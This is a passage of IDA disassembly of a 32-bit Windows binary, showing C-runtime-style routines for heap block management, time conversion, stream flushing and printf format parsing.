xor eax, eax jmp loc_40370E ; --------------------------------------------------------------------------- loc_4034FF: ; CODE XREF: sub_40340A+7Aj ; sub_40340A:loc_4034A4j ... mov dword_51866C, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_403526 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_40355D loc_403526: ; CODE XREF: sub_40340A+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_40355A loc_403543: ; CODE XREF: sub_40340A+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_403543 loc_40355A: ; CODE XREF: sub_40340A+137j mov edx, [ebp+var_4] loc_40355D: ; CODE XREF: sub_40340A+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_403586 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_403586: ; CODE XREF: sub_40340A+16Dj ; sub_40340A+183j test ecx, ecx jl short loc_40358F shl ecx, 1 inc edi jmp short loc_403586 ; --------------------------------------------------------------------------- loc_40358F: ; CODE XREF: sub_40340A+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_4035AC push 3Fh pop esi loc_4035AC: ; CODE XREF: sub_40340A+19Dj cmp esi, edi jz loc_4036C1 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_40361D cmp edi, 20h jge short loc_4035EC mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_40361A mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_40361D ; --------------------------------------------------------------------------- loc_4035EC: ; CODE XREF: sub_40340A+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_40361A mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_40361D ; --------------------------------------------------------------------------- loc_40361A: ; CODE XREF: sub_40340A+1D6j ; sub_40340A+203j mov ebx, [ebp+arg_0] loc_40361D: ; CODE XREF: sub_40340A+1B0j ; sub_40340A+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_4036CD mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4036BE mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_40368F inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_40367D mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_40367D: ; CODE XREF: sub_40340A+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_4036BE ; --------------------------------------------------------------------------- loc_40368F: ; CODE XREF: sub_40340A+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4036A8 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4036A8: ; CODE XREF: sub_40340A+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_4036BE: ; CODE XREF: sub_40340A+24Ej ; sub_40340A+283j mov ecx, [ebp+var_8] loc_4036C1: ; CODE XREF: sub_40340A+1A4j test ecx, ecx jz short loc_4036D0 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_4036D0 ; --------------------------------------------------------------------------- loc_4036CD: ; CODE XREF: sub_40340A+229j mov ecx, [ebp+var_8] loc_4036D0: ; CODE XREF: sub_40340A+2B9j ; sub_40340A+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_403706 cmp ebx, dword_518670 jnz short loc_403706 mov ecx, [ebp+var_4] cmp ecx, dword_518668 jnz short loc_403706 and dword_518670, 0 loc_403706: ; CODE XREF: sub_40340A+2E0j ; sub_40340A+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_40370E: ; CODE XREF: sub_40340A+F0j pop edi pop esi pop ebx leave retn sub_40340A endp ; =============== S U B R O U T I N E ======================================= sub_403713 proc near ; CODE XREF: sub_40340A+CCp mov eax, dword_518674 mov ecx, dword_518664 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_403756 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_518678 push edi push dword_51867C call dword_4080B0 cmp eax, edi jz short loc_4037A6 add dword_518664, 10h mov dword_518678, eax mov eax, dword_518674 loc_403756: ; CODE XREF: sub_403713+11j mov ecx, dword_518678 push 41C4h push 8 lea eax, [eax+eax*4] push dword_51867C lea esi, [ecx+eax*4] call dword_40806C cmp eax, edi mov [esi+10h], eax jz short loc_4037A6 push 4 push 2000h push 100000h push edi call dword_4080AC cmp eax, edi mov [esi+0Ch], eax jnz short loc_4037AA push dword ptr [esi+10h] push edi push dword_51867C call dword_408088 loc_4037A6: ; CODE XREF: sub_403713+30j ; sub_403713+67j xor eax, eax jmp short loc_4037C1 ; --------------------------------------------------------------------------- loc_4037AA: ; CODE XREF: sub_403713+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_518674 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_4037C1: ; CODE XREF: sub_403713+95j pop edi pop esi retn sub_403713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037C4 proc near ; CODE XREF: sub_40340A+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_4037D6: ; CODE XREF: sub_4037C4+19j test eax, eax jl short loc_4037DF shl eax, 1 inc ebx jmp short loc_4037D6 ; --------------------------------------------------------------------------- loc_4037DF: ; CODE XREF: sub_4037C4+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_4037F4: ; CODE XREF: sub_4037C4+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_4037F4 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_4080AC test eax, eax jnz short loc_403827 or eax, 0FFFFFFFFh jmp loc_4038BA ; --------------------------------------------------------------------------- loc_403827: ; CODE XREF: sub_4037C4+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_40386D lea eax, [edi+10h] loc_403834: ; CODE XREF: sub_4037C4+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_403834 loc_40386D: ; CODE XREF: sub_4037C4+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_4038AA or [eax+4], edi loc_4038AA: ; CODE XREF: sub_4037C4+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_4038BA: ; CODE XREF: sub_4037C4+5Ej pop edi pop esi pop ebx leave retn sub_4037C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BF proc near ; CODE XREF: sub_407632+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_403A6D test bl, 1 jnz loc_403A66 add ebx, ecx cmp esi, ebx jg loc_403A66 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_403936 push 3Fh pop ecx mov [ebp+var_8], ecx loc_403936: ; CODE XREF: sub_4038BF+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_403986 cmp ecx, 20h jnb short loc_403962 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_403986 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_403986 ; --------------------------------------------------------------------------- loc_403962: ; CODE XREF: sub_4038BF+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_403986 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_403986: ; CODE XREF: sub_4038BF+7Dj ; sub_4038BF+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_403A54 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_4039C0 push 3Fh pop edi loc_4039C0: ; CODE XREF: sub_4038BF+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_403A42 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_403A19 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_403A0C mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_403A0C: ; CODE XREF: sub_4038BF+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_403A3E ; --------------------------------------------------------------------------- loc_403A19: ; CODE XREF: sub_4038BF+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_403A2F lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_403A2F: ; CODE XREF: sub_4038BF+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_403A3E: ; CODE XREF: sub_4038BF+158j shr edx, cl or [eax], edx loc_403A42: ; CODE XREF: sub_4038BF+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_403A57 ; --------------------------------------------------------------------------- loc_403A54: ; CODE XREF: sub_4038BF+E5j mov edx, [ebp+arg_4] loc_403A57: ; CODE XREF: sub_4038BF+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_403BAD ; --------------------------------------------------------------------------- loc_403A66: ; CODE XREF: sub_4038BF+52j ; sub_4038BF+5Cj xor eax, eax jmp loc_403BB0 ; --------------------------------------------------------------------------- loc_403A6D: ; CODE XREF: sub_4038BF+49j jge loc_403BAD mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_403A98 push 3Fh pop esi loc_403A98: ; CODE XREF: sub_4038BF+1D4j test byte ptr [ebp+var_4], 1 jnz loc_403B27 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_403AB1 push 3Fh pop esi loc_403AB1: ; CODE XREF: sub_4038BF+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_403B00 cmp esi, 20h jnb short loc_403ADC mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_403AFD mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_403AFD ; --------------------------------------------------------------------------- loc_403ADC: ; CODE XREF: sub_4038BF+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_403AFD mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_403AFD: ; CODE XREF: sub_4038BF+214j ; sub_4038BF+21Bj ... mov ebx, [ebp+arg_4] loc_403B00: ; CODE XREF: sub_4038BF+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_403B27 push 3Fh pop esi loc_403B27: ; CODE XREF: sub_4038BF+1DDj ; sub_4038BF+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_403BA4 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_403B7B cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_403B6E mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_403B6E: ; CODE XREF: sub_4038BF+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_403BA0 ; --------------------------------------------------------------------------- loc_403B7B: ; CODE XREF: sub_4038BF+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_403B91 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_403B91: ; CODE XREF: sub_4038BF+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_403BA0: ; CODE XREF: sub_4038BF+2BAj shr edx, cl or [eax], edx loc_403BA4: ; CODE XREF: sub_4038BF+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_403BAD: ; CODE XREF: sub_4038BF+1A2j ; sub_4038BF:loc_403A6Dj push 1 pop eax loc_403BB0: ; CODE XREF: sub_4038BF+1A9j pop edi pop esi pop ebx leave retn sub_4038BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BB5 proc near ; CODE XREF: sub_402A3C+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_403C71 cmp ebx, 8Ah jg loc_403C71 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_409514[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_403BF4 cmp edi, 2 jle short loc_403BF4 inc esi loc_403BF4: ; CODE XREF: sub_403BB5+37j ; sub_403BB5+3Cj call sub_4052C5 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_409430 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_403C67 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_403C6D cmp dword_409434, 0 jz short loc_403C6D lea eax, [ebp+var_24] push eax call sub_405538 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_403C6D loc_403C67: ; CODE XREF: sub_403BB5+90j add ecx, dword_409438 loc_403C6D: ; CODE XREF: sub_403BB5+96j ; sub_403BB5+9Fj ... mov eax, ecx jmp short loc_403C74 ; --------------------------------------------------------------------------- loc_403C71: ; CODE XREF: sub_403BB5+13j ; sub_403BB5+1Fj or eax, 0FFFFFFFFh loc_403C74: ; CODE XREF: sub_403BB5+BAj pop ebx leave retn sub_403BB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C77 proc near ; CODE XREF: sub_402B47+44p ; sub_402B97+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_403D80 test al, 40h jnz loc_403D80 test al, 1 jz short loc_403CAF and dword ptr [esi+4], 0 test al, 10h jz loc_403D80 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_403CAF: ; CODE XREF: sub_403C77+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_403CE9 cmp esi, offset dword_409570 jz short loc_403CD7 cmp esi, offset dword_409590 jnz short loc_403CE2 loc_403CD7: ; CODE XREF: sub_403C77+56j push ebx call sub_405AAF test eax, eax pop ecx jnz short loc_403CE9 loc_403CE2: ; CODE XREF: sub_403C77+5Ej push esi call sub_405A6B pop ecx loc_403CE9: ; CODE XREF: sub_403C77+4Ej ; sub_403C77+69j test word ptr [esi+0Ch], 108h push edi jz short loc_403D56 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_403D19 push edi push eax push ebx call sub_4058BE add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_403D4C ; --------------------------------------------------------------------------- loc_403D19: ; CODE XREF: sub_403C77+90j cmp ebx, 0FFFFFFFFh jz short loc_403D34 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_518560[eax*4] lea eax, [eax+ecx*8] jmp short loc_403D39 ; --------------------------------------------------------------------------- loc_403D34: ; CODE XREF: sub_403C77+A5j mov eax, offset dword_409398 loc_403D39: ; CODE XREF: sub_403C77+BBj test byte ptr [eax+4], 20h jz short loc_403D4C push 2 push 0 push ebx call sub_405824 add esp, 0Ch loc_403D4C: ; CODE XREF: sub_403C77+A0j ; sub_403C77+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_403D6A ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_403C77+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4058BE add esp, 0Ch mov [ebp+arg_4], eax loc_403D6A: ; CODE XREF: sub_403C77+DDj cmp [ebp+arg_4], edi pop edi jz short loc_403D76 or dword ptr [esi+0Ch], 20h jmp short loc_403D85 ; --------------------------------------------------------------------------- loc_403D76: ; CODE XREF: sub_403C77+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_403D88 ; --------------------------------------------------------------------------- loc_403D80: ; CODE XREF: sub_403C77+10j ; sub_403C77+18j ... or al, 20h mov [esi+0Ch], eax loc_403D85: ; CODE XREF: sub_403C77+FDj or eax, 0FFFFFFFFh loc_403D88: ; CODE XREF: sub_403C77+107j pop esi pop ebx pop ebp retn sub_403C77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403D8C proc near ; CODE XREF: sub_402B47+27p ; sub_402B97+29p var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_4044A5 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_403DC0 ; --------------------------------------------------------------------------- loc_403DB8: ; CODE XREF: sub_403D8C+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_403DC0: ; CODE XREF: sub_403D8C+2Aj cmp [ebp+var_14], edx jl loc_4044A5 cmp bl, 20h jl short loc_403DE1 cmp bl, 78h jg short loc_403DE1 movsx eax, bl mov al, byte_408124[eax] and eax, 0Fh jmp short loc_403DE3 ; --------------------------------------------------------------------------- loc_403DE1: ; CODE XREF: sub_403D8C+40j ; sub_403D8C+45j xor eax, eax loc_403DE3: ; CODE XREF: sub_403D8C+53j movsx eax, byte_408144[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_404494 ; default jmp off_4044AD[eax*4] ; switch jump loc_403E01: ; DATA XREF: .packed:off_4044ADo or [ebp+var_10], 0FFFFFFFFh ; jumptable 00403DFA case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403E1C: ; CODE XREF: sub_403D8C+6Ej ; DATA XREF: .packed:off_4044ADo movsx eax, bl ; jumptable 00403DFA case 2 sub eax, 20h jz short loc_403E5F sub eax, 3 jz short loc_403E56 sub eax, 8 jz short loc_403E4D dec eax dec eax jz short loc_403E44 sub eax, 3 jnz loc_404494 ; default or [ebp+var_4], 8 jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403E44: ; CODE XREF: sub_403D8C+A4j or [ebp+var_4], 4 jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403E4D: ; CODE XREF: sub_403D8C+A0j or [ebp+var_4], 1 jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403E56: ; CODE XREF: sub_403D8C+9Bj or byte ptr [ebp+var_4], 80h jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403E5F: ; CODE XREF: sub_403D8C+96j or [ebp+var_4], 2 jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403E68: ; CODE XREF: sub_403D8C+6Ej ; DATA XREF: .packed:off_4044ADo cmp bl, 2Ah ; jumptable 00403DFA case 3 jnz short loc_403E90 lea eax, [ebp+arg_8] push eax call sub_40456B test eax, eax pop ecx mov [ebp+var_20], eax jge loc_404494 ; default or [ebp+var_4], 4 neg eax loc_403E88: ; CODE XREF: sub_403D8C+111j mov [ebp+var_20], eax jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403E90: ; CODE XREF: sub_403D8C+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_403E88 ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403D8C+6Ej ; DATA XREF: .packed:off_4044ADo mov [ebp+var_10], edx ; jumptable 00403DFA case 4 jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403D8C+6Ej ; DATA XREF: .packed:off_4044ADo cmp bl, 2Ah ; jumptable 00403DFA case 5 jnz short loc_403ECA lea eax, [ebp+arg_8] push eax call sub_40456B test eax, eax pop ecx mov [ebp+var_10], eax jge loc_404494 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403ECA: ; CODE XREF: sub_403D8C+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403EDC: ; CODE XREF: sub_403D8C+6Ej ; DATA XREF: .packed:off_4044ADo cmp bl, 49h ; jumptable 00403DFA case 6 jz short loc_403F0F cmp bl, 68h jz short loc_403F06 cmp bl, 6Ch jz short loc_403EFD cmp bl, 77h jnz loc_404494 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403EFD: ; CODE XREF: sub_403D8C+15Dj or [ebp+var_4], 10h jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403F06: ; CODE XREF: sub_403D8C+158j or [ebp+var_4], 20h jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403F0F: ; CODE XREF: sub_403D8C+153j cmp byte ptr [edi], 36h jnz short loc_403F28 cmp byte ptr [edi+1], 34h jnz short loc_403F28 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403F28: ; CODE XREF: sub_403D8C+186j ; sub_403D8C+18Cj mov [ebp+var_30], edx loc_403F2B: ; CODE XREF: sub_403D8C+6Ej ; DATA XREF: .packed:off_4044ADo mov ecx, off_4090F8 ; jumptable 00403DFA case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_403F57 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4044CD mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_403F57: ; CODE XREF: sub_403D8C+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4044CD add esp, 0Ch jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_403F6F: ; CODE XREF: sub_403D8C+6Ej ; DATA XREF: .packed:off_4044ADo movsx eax, bl ; jumptable 00403DFA case 7 cmp eax, 67h jg loc_404197 cmp eax, 65h jge loc_40401A cmp eax, 58h jg loc_404078 jz loc_40420B sub eax, 43h jz loc_40403B dec eax dec eax jz short loc_404010 dec eax dec eax jz short loc_404010 sub eax, 0Ch jnz loc_404396 test word ptr [ebp+var_4], 830h jnz short loc_403FB9 or byte ptr [ebp+var_4+1], 8 loc_403FB9: ; CODE XREF: sub_403D8C+227j ; sub_403D8C+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_403FC6 mov esi, 7FFFFFFFh loc_403FC6: ; CODE XREF: sub_403D8C+233j lea eax, [ebp+arg_8] push eax call sub_40456B test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_4041DF test ecx, ecx jnz short loc_403FEE mov ecx, off_4090F4 mov [ebp+var_8], ecx loc_403FEE: ; CODE XREF: sub_403D8C+257j mov [ebp+var_24], 1 mov eax, ecx 